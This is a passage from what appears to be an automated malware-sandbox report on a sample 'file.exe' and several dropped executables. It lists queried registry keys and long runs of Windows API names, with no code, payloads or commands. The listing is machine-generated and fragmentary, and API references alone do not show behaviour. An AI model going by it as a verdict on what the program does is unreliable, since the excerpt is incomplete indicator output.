"00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")39:Ta29,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "FILE.EXE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")3a:T4ad,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "file") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "file") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "4Tx380er.exe.4175326223") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")3b:Ted85,Found reference to API (Indicator: "CheckTokenMembership"; File: "file") Found reference to API (Indicator: "HeapSetInformation"; File: "file") Found reference to API (Indicator: "DecryptFileA"; File: "file") Found reference to API (Indicator: "SHBrowseForFolder"; File: "file") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "file") Found reference to API (Indicator: "GetTokenInformation"; File: "file") Found reference to API (Indicator: "RegDeleteValueA"; File: "file") Found reference to API (Indicator: "RegOpenKeyExA"; File: "file") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "file") Found reference to API (Indicator: "FreeSid"; File: "file") Found reference to API (Indicator: "OpenProcessToken"; File: "file") Found reference to API (Indicator: "RegSetValueExA"; File: "file") Found reference to API (Indicator: "RegCreateKeyExA"; File: "file") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "file") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "file") Found reference to API (Indicator: "RegQueryValueExA"; File: "file") Found reference to API (Indicator: "EqualSid"; File: "file") Found reference to API (Indicator: "RegCloseKey"; File: "file") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "file") Found reference to API (Indicator: "GetShortPathNameA"; File: "file") Found reference to API (Indicator: "GetModuleFileNameA"; File: "file") Found reference to API (Indicator: "FindFirstFileA"; File: "file") Found reference to API (Indicator: "GetCurrentProcess"; File: "file") Found reference to API (Indicator: "FindNextFileA"; File: "file") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "file") Found reference to API (Indicator: "FindClose"; File: "file") Found reference to API (Indicator: "LocalAlloc"; File: "file") Found reference to API (Indicator: "lstrcmpA"; File: "file") Found reference to API (Indicator: "CompareStringA"; File: "file") Found reference to API (Indicator: "GetLastError"; File: "file") Found reference to API (Indicator: "GetFileAttributesA"; File: "file") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "file") Found reference to API (Indicator: "LoadLibraryA"; File: "file") Found reference to API (Indicator: "DeleteFileA"; File: "file") Found reference to API (Indicator: "GlobalAlloc"; File: "file") Found reference to API (Indicator: "GlobalFree"; File: "file") Found reference to API (Indicator: "CloseHandle"; File: "file") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "file") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "file") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "file") Found reference to API (Indicator: "SetFileAttributesA"; File: "file") Found reference to API (Indicator: "GetProcAddress"; File: "file") Found reference to API (Indicator: "GlobalLock"; File: "file") Found reference to API (Indicator: "LocalFree"; File: "file") Found reference to API (Indicator: "RemoveDirectoryA"; File: "file") Found reference to API (Indicator: "FreeLibrary"; File: "file") Found reference to API (Indicator: "CreateDirectoryA"; File: "file") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "file") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "file") Found reference to API (Indicator: "GlobalUnlock"; File: "file") Found reference to API (Indicator: "ReadFile"; File: "file") Found reference to API (Indicator: "SizeofResource"; File: "file") Found reference to API (Indicator: "WriteFile"; File: "file") Found reference to API (Indicator: "GetDriveTypeA"; File: "file") Found reference to API (Indicator: "LoadLibraryExA"; File: "file") Found reference to API (Indicator: "SetFileTime"; File: "file") Found reference to API (Indicator: "SetFilePointer"; File: "file") Found reference to API (Indicator: "FindResourceA"; File: "file") Found reference to API (Indicator: "CreateMutexA"; File: "file") Found reference to API (Indicator: "GetVolumeInformationA"; File: "file") Found reference to API (Indicator: "WaitForSingleObject"; File: "file") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "file") Found reference to API (Indicator: "FreeResource"; File: "file") Found reference to API (Indicator: "GetVersion"; File: "file") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "file") Found reference to API (Indicator: "GetTempPathA"; File: "file") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "file") Found reference to API (Indicator: "CreateFileA"; File: "file") Found reference to API (Indicator: "SetEvent"; File: "file") Found reference to API (Indicator: "TerminateThread"; File: "file") Found reference to API (Indicator: "GetVersionExA"; File: "file") Found reference to API (Indicator: "LockResource"; File: "file") Found reference to API (Indicator: "GetSystemInfo"; File: "file") Found reference to API (Indicator: "CreateThread"; File: "file") Found reference to API (Indicator: "ResetEvent"; File: "file") Found reference to API (Indicator: "LoadResource"; File: "file") Found reference to API (Indicator: "ExitProcess"; File: "file") Found reference to API (Indicator: "GetModuleHandleW"; File: "file") Found reference to API (Indicator: "CreateProcessA"; File: "file") Found reference to API (Indicator: "FormatMessageA"; File: "file") Found reference to API (Indicator: "GetTempFileNameA"; File: "file") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "file") Found reference to API (Indicator: "CreateEventA"; File: "file") Found reference to API (Indicator: "GetExitCodeProcess"; File: "file") Found reference to API (Indicator: "GetDeviceCaps"; File: "file") Found reference to API (Indicator: "GetDesktopWindow"; File: "file") Found reference to API (Indicator: "CharUpperA"; File: "file") Found reference to API (Indicator: "ExitWindowsEx"; File: "file") Found reference to API (Indicator: "MessageBeep"; File: "file") Found reference to API (Indicator: "CharPrevA"; File: "file") Found reference to API (Indicator: "LoadStringA"; File: "file") Found reference to API (Indicator: "CharNextA"; File: "file") Found reference to API (Indicator: "EnableWindow"; File: "file") Found reference to API (Indicator: "ReleaseDC"; File: "file") Found reference to API (Indicator: "SetForegroundWindow"; File: "file") Found reference to API (Indicator: "PeekMessageA"; File: "file") Found reference to API (Indicator: "SendMessageA"; File: "file") Found reference to API (Indicator: "MessageBoxA"; File: "file") Found reference to API (Indicator: "SetWindowTextA"; File: "file") Found reference to API (Indicator: "GetWindowLongA"; File: "file") Found reference to API (Indicator: "CallWindowProcA"; File: "file") Found reference to API (Indicator: "SetWindowLongA"; File: "file") Found reference to API (Indicator: "ShowWindow"; File: "file") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "file") Found reference to API (Indicator: "SetWindowPos"; File: "file") Found reference to API (Indicator: "GetDC"; File: "file") Found reference to API (Indicator: "GetWindowRect"; File: "file") Found reference to API (Indicator: "DispatchMessageA"; File: "file") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "file") Found reference to API (Indicator: "VerQueryValueA"; File: "file") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "file") Found reference to API (Indicator: "Sleep"; File: "file") Found reference to API (Indicator: "GetStartupInfoW"; File: "file") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "TerminateProcess"; File: "file") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "file") Found reference to API (Indicator: "GetCurrentProcessId"; File: "file") Found reference to API (Indicator: "GetCurrentThreadId"; File: "file") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "file") Found reference to API (Indicator: "GetTickCount"; File: "file") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "file") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "file") Found reference to API (Indicator: "MulDiv"; File: "file") Found reference to API (Indicator: "GetSystemMetrics"; File: "file") Found reference to API (Indicator: "FlsGetValue"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "FlsAlloc"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "FlsFree"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetProcessWindowStation"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "LocaleNameToLCID"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "FlsSetValue"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "AreFileApisANSI"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetDateFormatEx"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetActiveWindow"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetLastActivePopup"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetXStateFeaturesMask"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetTimeFormatEx"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "LCIDToLocaleName"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "MessageBoxW"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "LCMapStringEx"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "IsValidLocaleName"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "LocateXStateFeature"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "GetEnabledXStateFeatures"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "CompareStringEx"; File: "4Tx380er.exe.4175326223") Found reference to API (Indicator: "VirtualFree"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "VirtualAlloc"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "InitializeSListHead"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "IsDebuggerPresent"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "RtlUnwind"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "SetLastError"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "EnterCriticalSection"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "LeaveCriticalSection"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "DeleteCriticalSection"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "TlsAlloc"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "TlsGetValue"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "TlsSetValue"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "TlsFree"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "LoadLibraryExW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "EncodePointer"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "RaiseException"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetStdHandle"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetModuleFileNameW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetModuleHandleExW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "HeapFree"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "HeapAlloc"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "HeapReAlloc"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "LCMapStringW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "FindFirstFileExW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "FindNextFileW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "IsValidCodePage"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetACP"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetOEMCP"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetCPInfo"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetCommandLineA"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetCommandLineW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "MultiByteToWideChar"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "WideCharToMultiByte"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "SetStdHandle"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetFileType"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetStringTypeW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetProcessHeap"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "HeapSize"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "FlushFileBuffers"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "GetConsoleMode"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "SetFilePointerEx"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "CreateFileW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "WriteConsoleW"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "DecodePointer"; File: "6Pp6Px0.exe.125725185") Found reference to API (Indicator: "RtlGetVersion"; File: "7ho9Fx74.exe.421254636") Found reference to API (Indicator: "GetLongPathNameW"; File: "7ho9Fx74.exe.421254636") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "7ho9Fx74.exe.421254636") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "7ho9Fx74.exe.421254636") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "7ho9Fx74.exe.421254636") Found reference to API (Indicator: "InitOnceExecuteOnce"; File: "7ho9Fx74.exe.421254636") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "7ho9Fx74.exe.421254636") Found reference to API (Indicator: "UnregisterWait"; File: "7ho9Fx74.exe.421254636") Found reference to API (Indicator: "GetCurrentThread"; File: "7ho9Fx74.exe.421254636") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00005824.00000000.68203.01341000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00005824.00000000.68203.01341000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00005824.00000000.68203.01341000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: 